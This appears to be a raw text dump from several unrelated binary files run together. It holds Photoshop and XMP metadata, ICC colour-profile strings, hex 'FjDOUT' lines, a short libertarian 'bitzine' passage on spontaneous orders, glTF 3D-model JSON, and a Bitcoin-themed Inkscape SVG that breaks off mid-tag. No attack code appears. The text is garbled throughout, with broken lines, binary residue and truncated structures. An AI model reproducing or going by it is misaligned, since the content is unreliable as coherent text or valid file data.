      stEvt:when="2023-02-14T01:59:13+01:00"/>
  </rdf:Description>
iCCPsRGB IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
y50y=,y=,y=,y=,y=0y=0y=0y=0Tk
Adobe Photoshop 22.1 (Windows)
cropWhenPrintingbool
transparencyDitherAlgorithmenum
transparencyDitherAmountlong
HTMLBackgroundSettingsObjc
BackgroundColorBluelong
BackgroundColorGreenlong
BackgroundColorRedlong
BackgroundColorStatelong
BackgroundImagePathTEXT
UseImageAsBackgroundbool
AlwaysAddAltAttributebool
FileSavingSettingsObjc
DuplicateFileNameBehaviorlong
HtmlFileNameComponentsVlLs
ImageSubfolderNameTEXT
NameCompatibilityObjc
NameCompatWindowsbool
OutputMultipleFilesbool
SavingFileNameComponentsVlLs
SliceFileNameComponentsVlLs
UseImageSubfolderbool
UseLongExtensionsbool
GoLiveCompatiblebool
ImageMapLocationlong
IncludeZeroMarginsbool
QuoteAllAttributesbool
SpacersEmptyCellslong
SpacersHorizontallong
UseLongHTMLExtensionbool
MetadataOutputSettingsObjc
AddXMPSourceFileURIbool
WriteXMPToSidecarFilesbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44     M
   "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmp:CreateDate="2021-04-06T18:29:34+03:00" xmp:ModifyDate=M
"2023-02-14T13:19:55+04:00" xmp:MetadataDate="2023-02-14T13:19:55+04:00" dc:format="image/jpeg" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:748bcace-5829-2f49-b899-6f82f8232029" xmpMM:DocumentID="adobe:docid:photoshop:6bc7c31c-c428-1b45-9ebc-1401cfc74fc9" xmpMM:OriginalDocumentID="xmp.did:fa36948d-d597-2d4f-8c83-161e9adc115a"> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>adobe:docid:photoshop:05e5cae0-8436-0c42-9166-097c2a91de8d</rdf:li> <rdf:li>adobe:docid:photoshop:0715d466-ca4e-c949-8a7b-b7738a31458a</rM
df:li> <rdf:li>adobe:docid:photoshop:1025ca46-c544-11ec-a8dd-879706ff01ac</rdf:li> <rdf:li>adobe:docid:photoshop:179e26ae-ac21-11ec-8492-e82857642bc9</rdf:li> <rdf:li>adobe:docid:photoshop:1a44f29e-d913-11eb-bf95-a62551f149d0</rdf:li> <rdf:li>adobe:docid:photoshop:2bec54e6-a2c2-11eb-abfc-e5b9ba12c377</rdf:li> <rdf:li>adobe:docid:photoshop:35f02a7c-5539-184b-ae57-6406d162c756</rdf:li> <rdf:li>adobe:docid:photoshop:50fae968-2cee-11ec-a0eb-eb2644101924</rdf:li> <rdf:li>adobe:docid:photoshop:54d9a0c5-a384-11ec-9469-913M
a8dfb9a4d</rdf:li> <rdf:li>adobe:docid:photoshop:59944642-c33d-7147-b11c-535218f63dab</rdf:li> <rdf:li>adobe:docid:photoshop:59ebded0-842a-11ec-9a41-a618b0b44948</rdf:li> <rdf:li>adobe:docid:photoshop:5ab31c48-5f35-11ec-9b04-d151900b5a20</rdf:li> <rdf:li>adobe:docid:photoshop:5c46e872-8b4e-11ec-ae84-b95ef1ebbd4c</rdf:li> <rdf:li>adobe:docid:photoshop:63d8ef67-c504-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:7557402f-7207-11ec-b40e-f8b8942e67c0</rdf:li> <rdf:li>adobe:docid:photoshop:76f5c79c-c384-1M
1eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:8121ede9-9eab-11eb-9b31-9be16abe8e48</rdf:li> <rdf:li>adobe:docid:photoshop:8a6e25cb-e0c5-11ec-956f-d5af5d10d567</rdf:li> <rdf:li>adobe:docid:photoshop:91f77e6a-7ac7-11ec-afc9-97a47fcc03f0</rdf:li> <rdf:li>adobe:docid:photoshop:94b006f6-1fb4-11ed-88a3-c54808fec630</rdf:li> <rdf:li>adobe:docid:photoshop:9a0ccf07-1d54-11ec-b9df-f37e6a19565b</rdf:li> <rdf:li>adobe:docid:photoshop:9be0e1c9-be61-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:b53M
6a12b-7a05-11ec-afc9-97a47fcc03f0</rdf:li> <rdf:li>adobe:docid:photoshop:b7e9e60a-d915-11eb-bf95-a62551f149d0</rdf:li> <rdf:li>adobe:docid:photoshop:ba554f49-bc7a-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:bd0c769e-c773-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:c24dd136-ae41-11eb-b310-f483973798b5</rdf:li> <rdf:li>adobe:docid:photoshop:ccc20e8b-9eb0-11eb-9b31-9be16abe8e48</rdf:li> <rdf:li>adobe:docid:photoshop:d7461191-f467-11eb-89a4-a784cc65f8bd</rdf:li> <rdf:li>adobe:docid:pM
hotoshop:d8870fde-c3a6-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:dae56c96-153a-11ec-af67-b1534ab9d843</rdf:li> <rdf:li>adobe:docid:photoshop:e6d5ee28-72ef-11ec-bfab-e14d7f2e3fda</rdf:li> <rdf:li>xmp.did:28CB92A1AD1711EB8A26F9FF906B89F1</rdf:li> <rdf:li>xmp.did:38F87AAEA9D611EBBAE395DE687C6803</rdf:li> <rdf:li>xmp.did:40C2E0EBB80111EBAFE4F6C2E9269301</rdf:li> <rdf:li>xmp.did:D988A02B7AD311ECA9CB99941B0A6A86</rdf:li> <rdf:li>xmp.did:ee28af6e-adac-0147-86f3-18c958f404ce</rdf:li> <rdf:li>xmp.did:fa3M
6948d-d597-2d4f-8c83-161e9adc115a</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:fa36948d-d597-2d4f-8c83-161e9adc115a" stEvt:when="2021-04-06T18:29:34+03:00" stEvt:softwareAgent="Adobe Photoshop CC 2015 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:dad318dc-42fd-dc4a-b9d8-38769b1d6793" stEvt:when="2021-04-13T13:49:22+03:00" stEvt:softwareAgent="Adobe Photoshop CC 2015 (Windows)" stEvt:changed="/"/> <rdf:li sM
tEvt:action="saved" stEvt:instanceID="xmp.iid:e21e3532-8939-f24a-942d-eff139aa764e" stEvt:when="2023-02-14T13:19:55+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from application/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:748bcace-5829-2f49-b899-6f82f8232029" stEvt:when="2M
023-02-14T13:19:55+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e21e3532-8939-f24a-942d-eff139aa764e" stRef:documentID="adobe:docid:photoshop:44373315-a63f-ab4a-98ca-0adeeb2caee0" stRef:originalDocumentID="xmp.did:fa36948d-d597-2d4f-8c83-161e9adc115a"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                     <?xpacket end="w"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:00A0D3A8AB2F11EDAD6AF1554F2457F7" xmpMM:InstanceID="xmp.iid:00A0D3A7AB2F11EDAD6AF1554F2457F7" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5ce69c4e-f070-724c-b24b-00d4e028c41a" stRef:documentID="adobe:docid:photoshop:514bc959-0535-4541-a09f-c06b6d2c983c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Adobe Photoshop 2023 Windows
2023-02-13T13:39:15-08:00
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description M
rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:DCCE2629ABE611EDA6D2A13297740F3F" xmpMM:InstanceID="xmp.iid:DCCE2628ABE611EDA6D2A13297740F3F" dc:format="image/jpeg" xmp:CreateDate="2023-02-13T13:36:59-08:00" xmp:ModifyDate="2023-02-13T13:39:15-08:00" xmp:MetadataDate="2023-02-13T13:39:15-08:00" xmp:CreatorTool="Adobe Photoshop 2023 WinM
dows"> <xmpMM:DerivedFrom stRef:instanceID="C432BA57E39C3CE57415619FE47BAB81" stRef:documentID="C432BA57E39C3CE57415619FE47BAB81"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
******************{**|kO
&7%(-/222!"8=81<,12/
3(#)11413131131131111111111111111111111111111111111111
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB]HK
text/plain;charset=utf-8
FjDOUT:40796967139D559CC2480F06CA7A0247F3387698FFBC4CCF35D224B56196787F
FjDOUT:59BD0264AE8300A8F6679F9F90E3BBF05202F213915C4911C6BF17249E95356F
FjDOUT:DBC0FDAAB1083BDB79F05BF8421BC4B4194D796E141E619ED9CCC44CA8DFB348
FjDOUT:52D35F93889403BD041D5A086BFB5A21877723E29D177650BEA64F60CBC0DDE4
FjDOUT:6F8CED60528AA7FCAB50D61D24BAF7AC63CBA0C4C35E240DC39E15F2B221D143
FjDOUT:AEC5B3C83E0BAAF4E22F2E7D9381B62D57B3ABB648315530608A42FEA8386048
FjDOUT:CF5F32A205FD8DA548673B33ED237F908743997EF4324F3EC24AC48FE753C3D1
FjDOUT:89372072BF008EA4437A56E759A8263E75A1F16E00D532110C332649068A681D
FjDOUT:C7A940CF90A3F731031BE6E52564CFD2FD55938B6E736F3A4513C061F4E329FC
FjDOUT:D4D2D1D12B32608304CDAEB16D4D3D3D7D1336ED3E5B27EF5989F4CE504ADA28
FjDOUT:418B0388E33189E5865C2749595104E1D300F54A2B15EDFD7453FB9244BFEE6A
FjDOUT:37F9F853E342B39D15370A7776920A6CE1552286AF93BBB901AB2690D9963385
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
./bitzine --issue 002
Who invented language? Who thought up of money?
Who is responsible for our society's customs?
These are all three spontaneous orders that have arisen unforseen through the free actions
of individuals seeking their own interests.
Spontaneous orders find their opposite in planned orders.
Spontaneous orders come from voluntary cooperation of all concerned.
Planned orders are imposed on others by those who take command of the hierarchical structures.
st inhumane social institutions have shared the features of planned orders.
Spontaneous orders, on the other hand, benefit all who join them.
kiTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:Attrib='http://ns.attribution.com/ads/1.0/'>
    <rdf:li rdf:parseType='Resource'>
     <Attrib:Created>2023-02-13</Attrib:Created>
     <Attrib:ExtId>35a04102-4e28-4853-a28f-7088bc0d1cbe</Attrib:ExtId>
     <Attrib:FbId>525265914179580</Attrib:M
     <Attrib:TouchType>2</Attrib:TouchType>
 <rdf:Description rdf:about=''
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
    <rdf:li xml:lang='x-default'>Astonauts - 8</rdf:li>
 <rdf:Description rdf:about=''
  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>
  <pdf:Author>ps20183089</pdf:Author>
 <rdf:Description rdf:about=''
  xmlns:xmp='http://ns.adobe.coM
  <xmp:CreatorTool>Canva</xmp:CreatorTool>
<?xpacket end='r'?>+
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
JSON{"accessors":[{"name":"mesh1465871970_0_positions","componentType":5126,"count":541,"min":[-0.30141308903694153,-0.7295113801956177,-0.2277882993221283],"max":[0.34485360980033875,0.381692111492157,0.9869155287742615],"type":"VEC3","bufferView":0,"byteOffset":0},{"name":"mesh1465871970_0_normals","componentType":5126,"count":541,"min":[-0.9980400800704956,-0.9934401512145996,-0.9986847639083862],"max":[0.9979903101921082,0.99844890832901,0.9968631863594055],"type":"VEC3","bufferView":1,"byteOffsM
et":0},{"name":"mesh1465871970_0_texcoords","componentType":5126,"count":541,"min":[-0.12669530510902405,0.9502131342887878],"max":[0.11798019707202911,1.1713112592697144],"type":"VEC2","bufferView":2,"byteOffset":0},{"name":"mesh1465871970_0_indices","componentType":5123,"count":825,"min":[0],"max":[540],"type":"SCALAR","bufferView":3,"byteOffset":0},{"name":"mesh1465871970_1_positions","componentType":5126,"count":97,"min":[-0.23807939887046814,-0.5734317898750305,0.15283970534801483],"max":[0.2940267026424408,-0M
.23956449329853058,0.6115890741348267],"type":"VEC3","bufferView":0,"byteOffset":6492},{"name":"mesh1465871970_1_normals","componentType":5126,"count":97,"min":[-0.9943227171897888,-0.9948019981384277,-0.26173678040504456],"max":[0.9943898320198059,0.9797767996788025,0.9443498253822327],"type":"VEC3","bufferView":1,"byteOffset":6492},{"name":"mesh1465871970_1_texcoords","componentType":5126,"count":97,"min":[-0.10244850069284439,1.0494688749313354],"max":[0.051648110151290894,1.144624948501587],"type":"VEC2","buffeM
rView":2,"byteOffset":4328},{"name":"mesh1465871970_1_indices","componentType":5123,"count":147,"min":[0],"max":[96],"type":"SCALAR","bufferView":3,"byteOffset":1652},{"name":"mesh1465871970_2_positions","componentType":5126,"count":392,"min":[-0.4080987870693207,-0.04762125015258789,-0.15987910330295563],"max":[0.46428099274635315,0.4231398105621338,0.3056136965751648],"type":"VEC3","bufferView":0,"byteOffset":7656},{"name":"mesh1465871970_2_normals","componentType":5126,"count":392,"min":[-0.9658002257347107,-0.9M
767404198646545,-0.9978327751159668],"max":[0.965799868106842,0.9709086418151855,0.9972479343414307],"type":"VEC3","bufferView":1,"byteOffset":7656},{"name":"mesh1465871970_2_texcoords","componentType":5126,"count":392,"min":[-0.05751373991370201,0.974689781665802],"max":[0.05728613957762718,1.1133581399917603],"type":"VEC2","bufferView":2,"byteOffset":5104},{"name":"mesh1465871970_2_indices","componentType":5123,"count":642,"min":[0],"max":[391],"type":"SCALAR","bufferView":3,"byteOffset":1948},{"name":"mesh146587M
1970_3_positions","componentType":5126,"count":144,"min":[-0.22266219556331635,-0.07294707745313644,-0.10669150203466415],"max":[0.21889349818229675,0.03956269845366478,0.01608712039887905],"type":"VEC3","bufferView":0,"byteOffset":12360},{"name":"mesh1465871970_3_normals","componentType":5126,"count":144,"min":[-0.8216915726661682,-0.955531895160675,-0.8617646098136902],"max":[0.8216917514801025,0.9555312991142273,0.8617637753486633],"type":"VEC3","bufferView":1,"byteOffset":12360},{"name":"mesh1465871970_3_texcooM
rds","componentType":5126,"count":144,"min":[-0.06783901900053024,1.0187214612960815],"max":[0.06783904135227203,1.1161072254180908],"type":"VEC2","bufferView":2,"byteOffset":8240},{"name":"mesh1465871970_3_indices","componentType":5123,"count":264,"min":[0],"max":[143],"type":"SCALAR","bufferView":3,"byteOffset":3232},{"name":"mesh1465871970_4_positions","componentType":5126,"count":144,"min":[-0.1258556991815567,0.07691807299852371,-0.11487410217523575],"max":[0.09959579259157181,0.13087180256843567,-0.0615368597M
2094536],"type":"VEC3","bufferView":0,"byteOffset":14088},{"name":"mesh1465871970_4_normals","componentType":5126,"count":144,"min":[-0.9996732473373413,-0.9149487614631653,-0.9150515794754028],"max":[0.9996732473373413,0.9149494171142578,0.9150515794754028],"type":"VEC3","bufferView":1,"byteOffset":14088},{"name":"mesh1465871970_4_texcoords","componentType":5126,"count":144,"min":[-0.05475211143493652,0.9990783929824829],"max":[0.05475211143493652,1.1000239849090576],"type":"VEC2","bufferView":2,"byteOffset":9392}M
,{"name":"mesh1465871970_4_indices","componentType":5123,"count":264,"min":[0],"max":[143],"type":"SCALAR","bufferView":3,"byteOffset":3760}],"asset":{"generator":"obj2gltf","version":"2.0"},"buffers":[{"name":"model","byteLength":46464}],"bufferViews":[{"name":"bufferView_0","buffer":0,"byteLength":15816,"byteOffset":0,"byteStride":12,"target":34962},{"name":"bufferView_1","buffer":0,"byteLength":15816,"byteOffset":15816,"byteStride":12,"target":34962},{"name":"bufferView_2","buffer":0,"byteLength":10544,"byteOffsM
et":31632,"byteStride":8,"target":34962},{"name":"bufferView_3","buffer":0,"byteLength":4288,"byteOffset":42176,"target":34963}],"materials":[{"name":"mat12","pbrMetallicRoughness":{"baseColorFactor":[1,0.83,0.04,1],"metallicFactor":0,"roughnessFactor":1},"emissiveFactor":[0,0,0],"alphaMode":"OPAQUE","doubleSided":false},{"name":"mat20","pbrMetallicRoughness":{"baseColorFactor":[0.19,0.09,0.06,1],"metallicFactor":0,"roughnessFactor":1},"emissiveFactor":[0,0,0],"alphaMode":"OPAQUE","doubleSided":false},{"name":"mat2M
3","pbrMetallicRoughness":{"baseColorFactor":[0.01,0.01,0.01,1],"metallicFactor":0,"roughnessFactor":1},"emissiveFactor":[0,0,0],"alphaMode":"OPAQUE","doubleSided":false},{"name":"mat8","pbrMetallicRoughness":{"baseColorFactor":[0.91,0.05,0.03,1],"metallicFactor":0,"roughnessFactor":1},"emissiveFactor":[0,0,0],"alphaMode":"OPAQUE","doubleSided":false},{"name":"mat21","pbrMetallicRoughness":{"baseColorFactor":[1,1,1,1],"metallicFactor":0,"roughnessFactor":1},"emissiveFactor":[0,0,0],"alphaMode":"OPAQUE","doubleSidedM
":false}],"meshes":[{"name":"mesh1465871970","primitives":[{"attributes":{"POSITION":0,"NORMAL":1,"TEXCOORD_0":2},"indices":3,"material":0,"mode":4},{"attributes":{"POSITION":4,"NORMAL":5,"TEXCOORD_0":6},"indices":7,"material":1,"mode":4},{"attributes":{"POSITION":8,"NORMAL":9,"TEXCOORD_0":10},"indices":11,"material":2,"mode":4},{"attributes":{"POSITION":12,"NORMAL":13,"TEXCOORD_0":14},"indices":15,"material":3,"mode":4},{"attributes":{"POSITION":16,"NORMAL":17,"TEXCOORD_0":18},"indices":19,"material":4,"mode":4}]}M
],"nodes":[{"name":"group1465871970","mesh":0}],"scene":0,"scenes":[{"nodes":[0]}]}
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
   viewBox="0 0 210 297"
   inkscape:version="1.2 (dc2aedaf03, 2022-05-15)"
   sodipodi:docname="Bitcoin - I say, You say #13 - 1 permeg.svg"
   xml:space="preserve"
   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
   xmlns:xlink="http://www.w3.orgM
   xmlns="http://www.w3.org/2000/svg"
   xmlns:svg="http://www.w3.org/2000/svg"
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:cc="http://creativecommons.org/ns#"
   xmlns:dc="http://purl.org/dc/elements/1.1/"><title
     id="title2472">I_say...U_say..._#13</title><sodipodi:namedview
     id="namedview191"
     pagecolor="#ffffff"
     bordercolor="#000000"
     borderopacity="0.25"
     inkscape:showpageshadow="2"
     inkscape:pageopacity="0.0"
     inkscape:pagecheckerboard="0"
     inkscape:deskcolor="#d1d1d1"
     inkscape:document-units="mm"
     showgrid="false"
     inkscape:zoom="1.1492003"
     inkscape:cx="398.53801"
     inkscape:cy="274.53874"
     inkscape:window-width="1440"
     inkscape:window-height="890"
     inkscape:window-x="-6"
     inkscape:window-y="-6"
     inkscape:window-maximized="1"
     inkscape:current-layer="layer1" /><defs
     id="defs186"><image
       xlink:href="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAwADAAAD/2wBDAM
AMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wAARCAAqACMDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAM
AECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD6j/be/auuvgnqvgnwJ4f8R6N4P8Q+KpJZrjxPrsYmttFsYhl5/KP+slc5WNDkEqQRyK9E/ZT1TUPEXgW81qf40wfG3TLy5xZ6tBpNtYfZdq4khZYOp3EN8wBAI7c15N+0j8IfiNb/ALWXhT4v+EPhxpnxX0yz8LSaA+iX2qW9i1ncefJKtyGnBUgiQL8oLYDdOK9F/Yl/Z/1f9nn4QXumeI5LE+Jdf1q68Rapb6YP9EtZ59g8iM
LgfKiRoOBjOcZGCQD3PWtYsfDuj32q6ndR2Om2MEl1c3UzbUhiRSzux7AKCT9K+K/2H/wBpL4qftZ/Gj4heL5LxNM+CelSvYaPpTWEQknmJBjJm279yxDe43YBmQAYrnf8AgqR8bNY1aHwv+zp4BLXfjLx1cQrfxwtgxWjSbY4mI+6JHBLHtHE2eGr68/Z3+CWj/s7/AAd8N+A9GCvDpduBcXW3a11ct800ze7OWIHYYHQCgD0eiiigArlvil8SNG+EPw78Q+M/EM/2fR9Fs5Lydsjc20fKi56szbVUd2YCupr81f8AgoV451j9p74+eC/2WPAt0RG91Hf+J7yL5khwu9VfH8MUW6UqeGZ4h95aALX/AATV+G+s/HT4peNv2p/H0G/VNYu5rPw9DICUgTGyWSPP8KIFt0Posueea/SCuf8AAPgfRvhj4J0TwpoFqtlomjWkdnawjtGi4yx7sepPckk9a+fvDv7XnjP4seIbub4T/Bu68ceALPUjpsvi678QW+mRXM
LI4SWS1hkVmmjTk7sjdjA5oA+oaKKKAPKP2o/j5pn7NPwR8ReOtR8uWe0i8nTrNzj7XePkQxeuC3zNjkKrHtXzL/wAEs/gHqej+Edc+OXjfzLzx18QpXuori5H71LJ5PM3+xnf956bFix3r6T/aY8E+HfHHg3SbTxHoOmeILWLVYZI4NUs47lEYq6lgrqQDgkZ9Ca9Ys7SDT7SC1tYY7a2hRY4oYUCJGijCqqjgAAAACgDivj0usN8DfiKPD0M1zr58OaiNOhtwTI9z9mk8pVA5LF9oHvX5a/st6Do2qeJP2cNN+Dev+M7vxxpt8l54+SS4u003S7JG33NrIjqsSh2Miqq5yW5yzCv2FpKAFooooA//2Q=="
       preserveAspectRatio="none"
       id="img2-8" /><clipPath
       clipPathUnits="userSpaceOnUse"
       id="clipPath5794"><rect
         y="2.0058711e-05"
         width="35.000008"
         height="41.999771"
         id="rect5796"
         style="stroke-width:1.45329" /></clipPath></defs><g
     inkscape:label="Layer 1"
     inkscape:groupmode="layer"
       transform="scale(0.5)"><rect
         style="fill:#ff7f2a;stroke-width:0.264583"
         id="rect407"
         width="200"
         height="100"
         x="-1.8902588e-07"
         y="1.9726562e-07" /><rect
         style="fill:#fM
fffff;stroke-width:0.264436"
         id="rect409"
         width="181.16893"
         height="80.837456"
         x="9.5323648"
         y="9.8071728" /><text
         xml:space="preserve"
         style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:3.88056px;line-height:1.8;font-family:Calibri;-inkscape-font-specification:'Calibri, Normal';font-variant-ligatures:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-east-asian:normal;text-align:center;leM
tter-spacing:0.79375px;text-anchor:middle;white-space:pre;inline-size:47.668;display:inline;fill:#ffffff;stroke-width:0.264583"
         x="181.55344"
         y="108.34954"
         id="text415"
         transform="translate(-10.130233,-11.511627)"><tspan
           x="181.55344"
           y="108.34954"
           id="tspan2030">     bitliever.bitcoin</tspan></text><g
         id="g5803"><text
           xml:space="preserve"
           style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:nM
ormal;font-size:11.2889px;line-height:1.8;font-family:Calibri;-inkscape-font-specification:'Calibri, Normal';font-variant-ligatures:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-east-asian:normal;text-align:center;text-anchor:middle;fill:#000000;stroke-width:0.264583"
           x="100.15116"
           y="20.260466"
           id="text427"><tspan
             sodipodi:role="line"
             id="tspan419"
             style="stroke-width:0.264583"
